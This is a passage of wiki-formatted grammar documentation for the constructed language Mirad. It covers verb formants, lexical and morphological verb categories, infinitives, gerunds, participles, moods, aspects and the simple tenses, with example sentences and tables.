| '''-xl-'''|| forceful action || '''yixler'''....''to employ'', '''abaxler'''....''to knead''
|-
| '''-xr-'''|| more forceful action || '''yixrer'''....''to wear out'', '''abaxrer'''....''to rub''
|-
| '''-b-'''|| gesture || '''ber'''....''to put'', '''aber'''....''to apply'', '''yujber'''....''to close'', '''gober'''....''to subtract''
|-
| '''-bl-'''|| forceful gesture || '''yujbler'''....''to lock'', '''gobler'''....''to cut''
|-
| '''-br-'''|| more forceful gesture || '''yobrer'''....''to knock down'', '''gobrer'''....''to chop''
|-
| '''-s-''' || state or becoming || '''ser'''....''to be'', '''eser'''....''to exist'', '''aser'''....''to become'', '''beser'''....''to remain'', '''paser'''....''to move''
|-
| '''-sl-''' || more intensive || '''besler'''....''to linger'', '''pasler'''....''to shake''
|-
| '''-sr-''' || most intensive || '''besrer'''....''to loiter'', '''pasrer'''....''to convulse''
|-
| '''-p-''' || motion or going || '''per'''....''to go'', '''yaper'''....''to ascend'', '''paper'''....''to fly''
|-
| '''-pl-''' || more intensive || '''yapler'''....''to climb'', '''zyepler'''....''to intrude''
|-
| '''-pr-''' || most intensive || '''yaprer'''....''to scramble up'', '''yeprer'''....''to break in''
|-
| '''-i-'''|| action toward subject || '''bier'''....''to take'', '''nier'''....''to consume'', '''ifier'''.'..''to enjoy'', '''dier'''....''to ask''
|-
| '''-u-'''|| action toward object || '''buer'''....''to give'', '''nuer'''....''to supply'', '''ifuer'''....''to please'', '''duer'''....''to suggest''
|-
| '''-d-''' || communication || '''der'''....''to say'', '''vader'''....''to affirm'', '''yevder'''....''to judge''
|-
| '''-dr-''' || writing || '''drer'''....''to write'', '''teedrer'''....''to report'', '''taxdrer'''....''to record''
|-
| '''-dy-''' || reading || '''dyer'''....''to read''
|-
| '''-t-''' || knowing (a thing)|| '''ter'''....''to know'', '''tester'''....''to understand'', '''teater'''....''to see''
|-
| '''-tr-''' || knowing (a person)|| '''trer'''....''to recognize''
|-
| '''-ty-''' || knowing (how) || '''tyer'''....''to know how''
|-
| '''-f-''' || volition and modal verbs || '''fer'''....''to want'', '''ifer'''....''to love'', '''ufer'''....''to hate'', '''yafer'''....''to be able''
|-
| '''-fi-''' || toward the subject || '''ifier'''....''to enjoy''
|-
| '''-fu-''' || toward a patient || '''ifuer'''....''to amuse''
|-
| '''-fl-''' || more intensive || '''ifler'''....''to be fond of'', '''yafler'''....''to wield power''
|-
| '''-fli-''' || toward the subject || '''iflier'''....''to be charmed by''
|-
| '''-flu-''' || toward a patient || '''ifluer'''....''to enchant''
|-
| '''-fr-''' || most intenstive || '''ifrer'''....''to worship'', '''ufrer'''....''to loathe'', '''yufrer'''....''to cringe''
|-
| '''-fri-''' || toward the subject || '''ifrier'''....''to become infatuated with''
|-
| '''-fru-''' || toward a patient || '''ifruer'''....''to infatuate''
|-
| '''-v-''' || some modal verbs || '''yiver'''....''to have a right to'', '''yuver'''....''to have a duty to''
|-
| '''-vi-''' || toward the subject || '''ivier'''....''to derive joy from''
|-
| '''-vu-''' || toward a patient || '''ivuer'''....'' to cheer up''
|-
| '''-vl-''' || more intensive || '''yuvler'''....''to be bound to'', '''yavler'''....''to be proud''
|-
| '''-vli-''' || toward the subject || '''yavlier'''....''to take pride in''
|-
| '''-vlu-''' || toward a patient || '''yavluer'''....''to instill pride in''
|-
| '''-vr-''' || most intensive || '''uvrer'''....''to grieve''
|-
| '''-vri-''' || toward the subject || '''uvrier'''....''to grieve''
|-
| '''-vru-''' || toward a patient || '''uvruer'''....''to aggrieve''
|-
| '''-k-''' || various verbs || '''aker'''....''to win'', '''oker'''....''to lose'', '''eker'''....''to play'', '''yeker'''....''to try'', '''yaker'''....''to expect'', '''yoker'''....''to be surprised by''
|-
| '''-ki-''' || toward the subject || '''akier'''....''to gain from'', '''yekier'''....''to undertake''
|-
| '''-ku-''' || toward a patient || '''yekuer'''....''to challenge''
|-
| '''-kl-''' || more intensive || '''akler'''....''to conquer'', '''yekler'''....''to strive''
|-
| '''-kli-''' || toward the subject || '''eklier'''....''to take a risk''
|-
| '''-klu-''' || toward a patient || '''ekluer''....''to put at risk''
|-
| '''-kr-''' || most intensive || '''akrer'''....''to triumph''
|-
| '''-j-''' || opening/closing || '''ijer'''....''to begin'', '''ujer'''....''to end'', '''tajer'''....''to be born'', '''tojer'''....''to die'', '''yujer'''....''to close''
|-
| '''-jl-''' || more intensive || '''yujler'''....''to lock''
|-
| '''-jr-''' || most intensive || '''yujrer'''....''to block''
|-
| '''-l-''' || a few verbs || '''baler'''....''to press'', '''boler'''....''to support'', '''beler'''....''to carry'', '''daler'''....''to speak'', '''deler'''....''to state'', '''doler'''....''to be quiet'', '''galer'''....''to multiply'', '''goler'''....''to divide'', ....'''mageler'''....''to cook''
|-
| '''-r-''' || a few verbs || '''ingarer'''....''to cube'', '''engorer'''....''to get the square root of'''''barer'''....''to crush''
|-
| '''-ar-'''&lt;br&gt;'''-ir-'''&lt;br&gt;'''-ur-'''|| tool use || '''ukarer'''....''to shovel'', '''purer'''....''to drive'', '''myekirer'''....''to mill''
|-
| '''-z-'''|| perform an art || '''dazer'''....''to dance'', '''dezer'''....''to act'', '''deuzer'''...''to sing''
|}
: Verbs containing formants '''s''' or '''p''' are generally intransitive, while all the other formants create transitive verbs.  All of the verbs with transitive formants can be passivized by adding '''w''', eg.:
:* '''oker'''....''to lose'' &lt;big&gt;→&lt;/big&gt; '''okwer'''....''to be lost''
:* '''baler'''....''to press'' &lt;big&gt;→&lt;/big&gt; '''balwer'''....''to be pressed''
:* '''koxer'''....''to hide''  &lt;big&gt;→&lt;/big&gt; '''koxwer'''....''to be hidden''
:* '''ujler'''....''to lock''  &lt;big&gt;→&lt;/big&gt; '''ujlwer'''....''to be locked''
:* '''ser'''....''to be'' (cannot be passivized)
:* '''per'''....''to go'' (cannot be passivized)
: Some verbs with formants '''-pl-''' and '''-pr-''' can usually be passivized with '''w''', eg.:
:* '''yaprer'''....''to climb''  &lt;big&gt;→&lt;/big&gt; '''yaprwer'''....''to be climbed''
:* '''aypler'''....''to surmount''  &lt;big&gt;→&lt;/big&gt; '''ayplwer'''....''to be surmounted''

== Verb Categories ==

: Verbs have '''''morphological categories''''', which involve changes to the verb not always found in the dictionary, but developed through rule-bound affixation (such as ''live'', ''lives'', ''lived'', ''living'').  They also have '''''lexical categories''''', which involve derived forms usually listed in dictionaries (''enjoy'', ''enjoyable'', ''enjoyment'')

=== Morphological Categories ===
 
: Verbs are inflected with the following '''''morphological categories''''': 

::* '''''2 states''''': finite, non-finite
::* '''''4 tenses''''': present, past, future, atemporal&lt;sup&gt;1&lt;/sup&gt;
::* '''''5 aspects''''': simple, progressive, perfect, imminent, potential
::* '''''2 voices''''': active, passive
::* '''''2 moods''''': indicative, hypothetical


:&lt;small&gt;'''''Note 1:''''' The term &quot;atemporal&quot; means that tense is not marked.  For example, in Mirad, '''Pu!''' is the imperative of the verb '''per'''....''to go''.  It means ''Go!'' and is atemporal.  The '''-u''' ending is an atemporal hypothetical mood marker.&lt;/small&gt;

: In effect, the PERSON/NUMBER category is not listed above, because this category does not affect the morphology of the Mirad verb form itself. The Mirad verb form stays the same for all persons and numbers.  That information is contained in the external subject pronouns governing the verb.  In English, for example, the verb &quot;be&quot; has several different forms in the present tense verb form depending on the person and number (I &lt;u&gt;am&lt;/u&gt;, you &lt;u&gt;are&lt;/u&gt;, he &lt;u&gt;is&lt;/u&gt;, we &lt;u&gt;are&lt;/u&gt;, etc.), but not so in Mirad.  The following chart shows how the English pattern differs from the corresponding single Mirad verb form '''se''' for all persons and numbers:


:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller&quot;
|+ Verb '''ser''' (''to be'') Unchanged for person/number
|-
! Person !! Number !! English !! Mirad
|-
!row=1| 1st !! row=1 rowspan=3| Singular 
| ''I &lt;u&gt;am&lt;/u&gt;'' || '''at &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you &lt;u&gt;are&lt;/u&gt;'' || '''et &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''he/she &lt;u&gt;is&lt;/u&gt;'' || '''it &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 1st !! row=1 rowspan=3| Plural 
| ''we &lt;u&gt;are&lt;/u&gt;'' || '''yat &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you (pl.) &lt;u&gt;are&lt;/u&gt;'' || '''yet &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''they &lt;u&gt;are&lt;/u&gt;'' || '''yit &lt;u&gt;se&lt;/u&gt;'''
|}

: This invariability of person/number exists for all tenses.

=== Lexical Categories ===

:: In addition, verbs can be described in terms of the following opposing '''''lexical''''' categories.  By lexical, is meant that verbs having different lexical properties are listed in the dictionary and have nothing to do with conjugation.


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;margin-left:1.6em;&quot;
|+ Verb Lexical Categories
|-
! Stative !! Dynamic
|-
| '''ser'''....''to be'' || '''xer'''....''to do''
|-
! Intransitive !! Transitive
|-
| '''agaser'''....''to grow large'' || '''agaxer'''....''to magnify''
|-
! Subject-directed !! Patient-directed
|-
| '''bier'''....''to take'' || '''buer'''....''to give''
|-
! Reflexive !! Non-reflexive
|-
| '''utvyixer'''....''to wash up (wash oneself)'' || '''vyixer'''....''to wash''
|-
! Inchoative !! Causative
|-
| '''tujper'''....''fall asleep'' || '''tujber'''....''put to sleep''
|-
! Autonomous !! Dynamic
|-
| '''yijer'''....''to open (by itself)'' || '''yijber'''....''to (make it) open''
|-
! Reciprocal !! Non-reciprocal
|-
| '''hyuittujber'''....''to kill one another'' || '''tujber'''....''to kill''
|-
! Gestural !! Locomotive
|-
| '''baser'''....''to stir, budge'' || '''paser'''....''to move''
|-
! Subject-oriented !! Object-oriented
|-
| '''teetyiker'''....''to be hard of hearing'' || '''teetyikwer'''....''to be hard to hear''
|}

== Non-finite Forms ==
: '''''Non-finite verb forms''''' are
::* not conjugated for person or number
::* cannot form a predicate
::* and do not have a subject.  

: There are three kinds of non-finite verb forms in Mirad:

::* '''''infinitives''''': the dictionary lookup form of a verb, ending in '''-er'''
:::* '''der'''....''to say'', '''tixayer'''....''to have studied'', '''xwer'''....''to be done''
::* '''''gerunds''''': verbal nouns, ending in '''-en'''
:::* '''byasen'''....''(the act of) standing''
::* '''''participles''''': verbal adjectives, ending in '''-a'''
:::* '''tejea'''....''living (alive)'', '''twa'''....''known'', '''piya'''....''departed''
=== Infinitives ===
: Verbs are listed in the dictionary under the '''''active voice simple aspect infinitive''''' form, which always ends in '''er''' and means ''to X'', or rarely the passive voice simple aspect infinitive form, which ends in '''wer''' and means ''to be Xed''.  The part of the verb form minus the '''-er''' or '''-wer''' is the '''''verb stem'''''. Very rarely at verb can be expressed as a past active or past passive infinitive in '''ayer''' and '''awer''', respectively. (For example: '''Tejayer boy ifawer naze glo.'''....''To have lived without having loved counts little.'').

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em&quot;
|+ Infinitive Stems
|-
! Infinitivw || Stem !! Ending
|-
| '''agser'''....''to grow'' || '''ags-''' || '''-er'''  
|-
| '''igxer'''....''to quicken'' || '''igx-''' || '''-er''' 
|-
| '''per'''....''to go'' || '''p-''' || '''-er'''  
|-
| '''xwer'''....''to happen, be done'' || '''x-''' || '''-wer''' 
|-
| '''tejayer'''....''to have lived'' || '''tej-''' || '''-ayer'''
|-
| '''ifawer'''....''to have loved'' || '''if-''' || '''-awer'''
|}

: The infinitive in Mirad is used very much as its counterpart in English.  The infinitive can be marked for two aspects (simple, perfect) and two voices (active, passive), as shown in the chart below, where the verb stems are underlined:


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Active and Passive Infinitive Stems
|-
! Aspect !! Active Voice !! Passive Voice
|-
!row=1| Simple
| '''&lt;u&gt;igx&lt;/u&gt;er'''....''to quicken'' || '''&lt;u&gt;igx&lt;/u&gt;wer'''....''to be quickened''
|-
!row=1| Perfect
| '''&lt;u&gt;igx&lt;/u&gt;ayer'''....''to have quickened'' || '''&lt;u&gt;igx&lt;/u&gt;awer'''....''to have been quickened''
|}

: In the above chart,
::* the verb stem is '''igx-''' and
::* the infinitive marker is '''-er''';
::* the simple aspect active voice marker is zero;
::* the simple aspect passive voice marker is '''w''';
::* the perfect aspect active voice marker is '''-ay-''';
::* the past aspect passive voice marker is '''-aw-'''.

The passive voice infinitive of a verb will not appear in the dictionary unless it has a special meaning, such as '''xwer''' ''to happen (= to be done)''.  The perfect infinitives are never listed in the dictionary.

=== Gerunds ===
: The gerund is a verbal noun like English ''playing'' in ''playing ball.''
: The gerund has two possible '''''aspects''''' (simple and perfect) and two possible '''''voices''''' (active and passive):

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em; &quot;
|+ Gerund Formation
|-
! Aspect !! Voice !! Ending !! Example
|-
!row=1| Simple !! Active 
| '''-en''' || '''agax&lt;u&gt;en&lt;/u&gt;'''....''magnifiying, magnification''
|-
!row=1| Simple !! Passive
| '''-wen''' || '''agax&lt;u&gt;wen&lt;/u&gt;'''....''being magnified''
|-
!row=1| Perfect !! Active 
| '''-ayen''' || '''byek&lt;u&gt;ayen&lt;/u&gt;'''....''having cured''
|-
!row=1| Perfect !! Passive 
| '''-awen''' || '''byek&lt;u&gt;awen&lt;/u&gt;'''....''having been cured''
|}

: Note: Intransitive verbs like '''per''' ''to go'' do not have a passive gerund form.

: Lexicalized gerunds, such as '''sanxen''' ''formation, forming'' generally appear in the dictionary in the active voice.

: Some examples of gerund usage:

::* ('''sanxer'''....''to form'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ha &lt;u&gt;sanxen&lt;/u&gt; bi hia mar efxa amroni bi jabi.'''....''The &lt;u&gt;forming&lt;/u&gt; (or: &lt;u&gt;formation&lt;/u&gt;) of this star took millions of years.''
::* ('''deuzer'''....''to sing'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Iyta &lt;u&gt;deuzen&lt;/u&gt; sa gla via.'''....''Her &lt;u&gt;singing&lt;/u&gt; was very beautiful.''
::* ('''poper'''....''to travel'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Popen&lt;/u&gt; se yika yex.'''....''&lt;u&gt;Traveling&lt;/u&gt; is hard work.''
::* ('''teeter'''....''to hear'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teetwen&lt;/u&gt; fiay se teskyia av dezuti.'''....''&lt;u&gt;Being heard&lt;/u&gt; well is important for actors.''
::* ('''teater'''....''to see'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teaten&lt;/u&gt; se &lt;u&gt;vyatexen&lt;/u&gt;.'''.....''&lt;u&gt;Seeing&lt;/u&gt; is &lt;u&gt;believing&lt;/u&gt;.''
::* ('''uper'''....''to come'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''His se ha jeb bi &lt;u&gt;Upen&lt;/u&gt;.'''....''This is the season of &lt;u&gt;Advent&lt;/u&gt; (coming).''
::* ('''tadier'''....''to get married'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ata &lt;u&gt;tadiayen&lt;/u&gt; ewa jodi bixa tepzex.'''....''My &lt;u&gt;having married&lt;/u&gt; twice drew attention.''
::* ('''aker'''....''to win'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''At voy ta ita &lt;u&gt;akawen&lt;/u&gt; hua nuz.'''....''I did not know about his &lt;u&gt;having won&lt;/u&gt; that prize.''
: Gerunds, being verb forms, can take direct and indirect objects:
::* '''At ifxwe bey eta buayen at hua nas.'''....''I am pleased by your having given me that money.''
::* '''Tojben eut voy se kexbiyaf.'''....''Killing yourself is not an option.''

: The special gerundive ending '''-eyn''' gives a nuance emphasizing the action as a single act, much like the English endings ''-ment'' or ''-tion''.  Here are a few examples showing the difference between '''-en''' and '''-eyn'''.
::* '''yanlaxen'''....''combining''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''yanlaxeyn'''....''combination''
::* '''xen'''....''doing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''xeyn'''....''action, deed''
::* '''zayben'''....''advancing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zaybeyn'''....''advancement''

: Another special gerundive (but lexical) ending is '''-un''', which expresses the result of an action, eg.:
::* '''zyegxer'''....''to puncture''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyegxun'''....''a puncture''
::* '''zyeuber'''....''to transmit''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyeubun'''....''a broadcast''
::* '''deuzer'''....''to sing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''deuzun'''....''a song''

=== Participles ===
: Participles are verbal adjectives and can modify nouns and pronouns.  Since they act as adjectives, they have the adjectival ending '''-a'''.  Participles are marked by '''''aspect''''' (simple, progressive, perfect, imminent, potential) and '''''voice''''' (active, passive).
: The aspect markers per voice are:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Aspect Markers
|-
! Aspect !! Voice !! Form !! Example
|-
! rowspan=2| Progressive
! rowspan=1 | Active 
| '''-ea-''' || '''tejea'''....''living''
|-
! rowsspan=1 | Passive 
| '''wea''' || '''xwea'''....''happening, being done''
|-
! rowspan=2| Perfect
! rowspan=1 |Active
| '''-ya''' || '''pya'''....''gone''   (&lt; '''pyaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=1| Passive 
| '''-wa''' || '''xwa'''....''done''   (&lt; '''xwaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=2| Imminent
! Active 
| '''-oa''' || '''tojoa'''....''about to die''
|-
! rowspan=1 | Passive 
| '''-woa''' || '''dodelwoa'''....''about to be announced''
|-
! rowspan=2| Potential
! Active 
| '''-ua''' || '''tojbua'''....''lethal''
|-
! rowspan=1| Passive 
| '''-wua''' || '''opoxwua'''....''unstoppable''
|}
: &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;: The double '''aa''' in the perfect endings is reduced to '''a'''.&lt;/small&gt;
: '''''Note 1:''''' The perfect active particple ending in '''-ya''' is used only for intransitive verbs like '''per''' (''to go'').  '''He is &lt;u&gt;gone&lt;/u&gt;.''' is expressed by '''Wit se &lt;u&gt;pya&lt;/u&gt;'''.
: '''''Note 2:''''' The potential aspect, represented by the vowel '''u''' is much like the conditional in English, but is not considered a tense in Mirad.  For example, '''tojbu''' means ''would kill'' and the participle '''tojbua''' means ''lethal'' (referring to something that ''would/has the potential to kill'').  More about this in a later section.
: '''''Note 3:''''' There is another form of the progressive participle that falls in the lexical, rather than morphological category, in that such forms are listed in the dictionary as adjectives.  For example, in the phrase ''The animals &lt;u&gt;bothering&lt;/u&gt; our bird feeder...'', the participle ''bothering'' would be '''oboxea''' in Mirad.  By inserting the letter '''y''' between the verb stem and the participial ending, the participle becomes an adjective denoting a propensity or habit, as in ''bothersome'' ('''obox&lt;u&gt;y&lt;/u&gt;ea''').  Such participles are invariably in the active voice.  Most such adjectives in English end in ''-ive'' as in ''repulsive'' or ''-ly'' as in ''wiggly'' or ''-ous'' as in ''circuitous.''  Such adjectives in Mirad are listed in the dictionary and end in '''-yea'''.

: Adverbial participles can be made from the above adjectival participles, by suffixing the letter '''y'''.  Examples:
::* '''Iyt yepa ha tim &lt;u&gt;deuzeay&lt;/u&gt;.'''....''She entered the room &lt;u&gt;singing&lt;/u&gt;.''
::* '''&lt;u&gt;Ujbaway&lt;/u&gt; ha dodal, it pia.'''....''The speech &lt;u&gt;having been finished&lt;/u&gt;, he left.''
: Also, the above participles can be converted into abstract nouns by suffixing '''n'''.  Examples:
::* '''tiluwa'''....''drinkable'' &lt;big&gt;→&lt;/big&gt; '''tiluwan'''....''potability''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuan'''....''lethality''
::* '''mansea'''....''shining'' &lt;big&gt;→&lt;/big&gt; '''he &lt;u&gt;mansean&lt;/u&gt; bi iyta deuzen'''....''the &lt;u&gt;brilliance&lt;/u&gt; of her singing''
::* '''aakaxyea'''....''inventive'' &lt;big&gt;→&lt;/big&gt; '''aakaxyean'''....''inventiveness''
: Furthermore, these participles can sometimes be pronominalized with '''s''' for things and '''t''' for people or living things.  These forms can, in turn, be pluralized:

::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwas'''....''what is done, a happening''
::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwasi'''....''happenings, deeds''
::* '''otwa'''....''unknown'' &lt;big&gt;→&lt;/big&gt; '''otwas'''....''what is not known, a mystery''
::* '''osexea'''....''destroying'' &lt;big&gt;→&lt;/big&gt; '''osexeas'''....''a destroyer''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuas'''....''something lethal, a lethal thing''
::* '''tojboa'''....''moribund'' &lt;big&gt;→&lt;/big&gt; '''tojboati'''....''people about to die, fatal cases''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeat'''....''a living person''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeasi'''....''living things''
: There is a special tenseless, nominalized, animate participle used for '''''agent''''' nouns (English ''one who does something, Xer'', ''Xant'', ''Xist''), which refers to a person who habitually does some action, perhaps as a profession or trade.  These agent nouns end in '''-ut'''.
::* '''sexut'''....''builder''
::* '''nuut'''....''supplier''
::* '''tojbut'''....''killer''
::* '''ifut'''....''lover''
::* '''akuti'''....''winners''
: Note: There is a slight difference of meaning between the tensed participial pronoun '''ha akeat'''....''the one winning'' and the non-tensed agent noun '''ha akut'''....''the winner''.
: Similarly, there is a special tenseless, nominalized, &lt;u&gt;in&lt;/u&gt;animate participle used for a thing that performs the action denoted by the verb stem.  These agent nouns end in '''-us'''.

::* '''yuxus'''....''aid (a thing that helps)''
::* '''byuxwus'''....''button (a thing that gets touched on the keyboard)''
::* '''paxus'''....''motive (a thing that moves one)''
::* '''jaupus'''....''precedent (a thing that comes before)''
: The above '''-us''' ending contrasts with the endings '''-ar''' (''instrument''), '''-ir''' (''machine''), '''-ur''' (''motor, engine''), which are physical objects and not always suffixed to a verbal root.

== Finite Forms ==
[[File:Auxiliary verbs tree 3.png|thumb|]]
: In Mirad, finite verb forms are those that can take a person subject, serve as a predicate, and be conjugated. Finite verb forms are conjugated by using suffixes indicating, through their presence or absence, the following categories:

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* TENSES 
:::# '''''present'''''
:::# '''''past'''''
:::# '''''future'''''
:::# '''''atemporal'''''
::* MOODS
:::# '''''indicative'''''
:::# '''''hypothetical'''''
::* ASPECTS
:::# '''''simple'''''
:::# '''''progressive'''''
:::# '''''perfect'''''
:::# '''''imminent'''''
:::# '''''potential'''''
::* VOICES
:::# '''''active'''''
:::# '''''passive'''''
:::# '''''reflexive'''''
:::# '''''reciprocal'''''
&lt;/div&gt;

: Person and number are not marked on the verb form itself.  For example, ''am'', ''is'', ''are'', which change according to the person subject in English,  are all expressed with the same verb form in Mirad: '''se'''.  Thus, '''at se'''....''I am'', '''et se'''....''you are'', '''it se'''....''he/she/it is'', etc.

=== Moods ===
: There are two moods in Mirad:
::* '''''indicative'''''
::* '''''hypothetical'''''.

===== Indicative Mood =====
: The '''''indicative''''' form of the verb indicates an action or state that occurs in actual time, such as ''he went'', ''he is going'', ''he will go.''

: The indicative mood has three tenses, '''''present''''', '''''past''''', '''''future''''',  indicated by the suffixes '''-e''', '''-a''', and '''-o''', respectively.

===== Hypothetical Mood =====
: Wheras the indicative verb forms expresses actuality in time, the '''''hypothetical mood''''' expresses one of the non-actuality situations below and uses the vowel '''u'''.

::* a command , i.e. the '''''imperative''''' (''Go!'')
::* a wish or suggestion, i.e. the '''''hortative''''' or '''''jussive''''' (''May the king live long!'', ''Let's celebrate!'')
::* an unrealized situation, i.e. the '''''subjunctive''''' (''It is important that you &lt;u&gt;be&lt;/u&gt; early.'')
::* an imagined if-then-situation, i.e. the '''''conditional''''' (''If I &lt;u&gt;were&lt;/u&gt; rich, I &lt;u&gt;would be&lt;/u&gt; happy.'')

=== Aspects ===

: There are five aspects in the Mirad verb system.

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* the '''''simple''''' aspect (default), i.e. non-progressive, non-perfect, non-imminent, and non-conditional.
::* the '''''progressive''''' aspect, i.e. an action or state on-going in the particular tense, using '''ey'''
::* the '''''perfective''''' aspect, i.e. an action or state anterior or already completed, using '''ay'''
::* the '''''imminent''''' aspect, i.e. an action or state about to happen, using '''oy'''
::* the '''''potential''''' aspect, i.e. an action potentially happening, using '''uy'''
&lt;/div&gt;
===== The Simple Aspect =====

:: Unless specifically marked, the default aspect is '''''simple''''', i.e. non-progressive, non-perfect, non-imminent, and non-conditional.  Three indicative tenses can be expressed in the simple aspect:
::* Present with '''e'''
::* Past with '''a'''
::* Future with '''o'''. 

:: An atemporal verb ending in '''u''' in the simple aspect is considered hypothetical and expresses three things, depending on how it is used in the sentence:
::* a conditional like ''I would go (if...)''
::* an imperative like ''Go!''
::* a hortative like ''Let's go!''
::* a subjunctive like ''(It is important that) we go.''

:: Here is a chart showing the simple, active voice instantiations of the Mirad verb '''per''' (''to go'')  with the endings underlined:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em;&quot;
|+ Simple Active Conjugation of '''Per'''
|-
! Mood !! Tense !! Aspect !! Voice !! Instantiation !! Verb '''per'''
|-
!row=1| Indicative !! Present !! Simple !! Active !!
| '''At p&lt;u&gt;e&lt;/u&gt;'''....''I go''
|-
!row=1| Indicative !! Past !! Simple !! Active !!
| '''At p&lt;u&gt;a&lt;/u&gt;'''....''I went''
|-
!row=1| Indicative !! Future !! Simple !! Active !!
|'''At p&lt;u&gt;o&lt;/u&gt;'''....''I will go''
|-
!row=1 rowspan=4 | Hypothetical
!rowspan=4| Atemporal
!rowspan=4| Simple
!rowspan=4| Active 
! Conditional
|'''At p&lt;u&gt;u&lt;/u&gt;'''....''I would go''
|-
! Hortative/Optative/Jussive
|'''Van yat p&lt;u&gt;u&lt;/u&gt;!'''....''Let's go!''
|-
! Imperative
|'''P&lt;u&gt;u&lt;/u&gt; tam!'''....''Go home!''
|-
! Subjunctive
|'''Se efwa van et p&lt;u&gt;u&lt;/u&gt;.'''....''It is necessary that you go.''
|}

: Note that the last four instantiations are the same tense, but differ in syntax.  For example, if the verb form is hypothetical, atemporal, simple, active and has no subject, it operates as an imperative.

==== The Simple Indicative Present Active Tense ====

:: The simple indicative present instantiation is marked with the vowel suffix '''e''' and has a non-progressive ('''''habitual''''') aspect as in English ''I work'' or ''I live''.  Progressive aspect forms like ''I am studying'' are explained later.

:: Examples:
:::* '''At &lt;u&gt;yexe&lt;/u&gt; be tam.''' ....''I &lt;u&gt;work&lt;/u&gt; at home''.
:::* '''Hia tom &lt;u&gt;se&lt;/u&gt; nam.''' ....''This building &lt;u&gt;is&lt;/u&gt; a store.''
:::* '''Ha amur &lt;u&gt;yuzpe&lt;/u&gt; ha imer.'''....''The moon &lt;u&gt;goes around&lt;/u&gt; the earth.''

==== The Simple Indicative Past Active Tense ====
: The simple indicative past tense instantiation is marked with the vowel suffix '''a''' and has a non-progressive (punctual) meaning as in English ''I did something at some particular point in time''.  The simple past contrasts in aspect with the past progressive (''I was doing something'') or the present perfect (''I have done something''), or past potential (''I would have done something'').  The simple past is punctual, that is, it describes an event that occurred at a particular point in time.
: Examples:
::* '''Iyt &lt;u&gt;iba&lt;/u&gt; ha nyuf zojub.''' ....''She &lt;u&gt;received&lt;/u&gt; the package yesterday.''
::* '''At &lt;u&gt;ujba&lt;/u&gt; ha dyes ji iwa jwobi.''' ....''I &lt;u&gt;finished&lt;/u&gt; the book three hours ago.''
::* '''His &lt;u&gt;kyesa&lt;/u&gt; exag hijub.'''....''This &lt;u&gt;happened&lt;/u&gt; twice today.''

==== The Simple Indicative Future Active Tense ====

: The simple indicative future tense is marked with the vowel suffix '''o''' and has the same meaning as in English ''I will do something at some particular point in the future''.

: Examples: 
::* '''Yit &lt;u&gt;tadso&lt;/u&gt; zajab.'''....''They &lt;u&gt;are going to get married&lt;/u&gt; next year.''
::* '''Hua kaxon &lt;u&gt;ujako&lt;/u&gt;.''' ....''That solution &lt;u&gt;will work&lt;/u&gt;.''
::* '''At &lt;u&gt;so&lt;/u&gt; him hoj et &lt;u&gt;upo&lt;/u&gt;.'''....''I &lt;u&gt;will be&lt;/u&gt; here when you &lt;u&gt;(will) come.&lt;/u&gt;&lt;sup&gt;1&lt;/sup&gt;''
:: Note 1: Unlike in English,  Mirad does not use the present tense for a real future.  There is also no sequence of tenses in Mirad (such as, ''He said he was coming.''.  In Mirad, this would be expressed as ''He said he &lt;u&gt;will&lt;/u&gt; come.'').

==== The Simple Hypothetical Atemporal Active Tense ====

: A verb form ending in '''u''' like '''pu''' has no time value and is used to express unreal actions or states, such as the '''''imperative''''', '''''hortative''''', '''''conditional''''', or '''''subjunctive'''''.
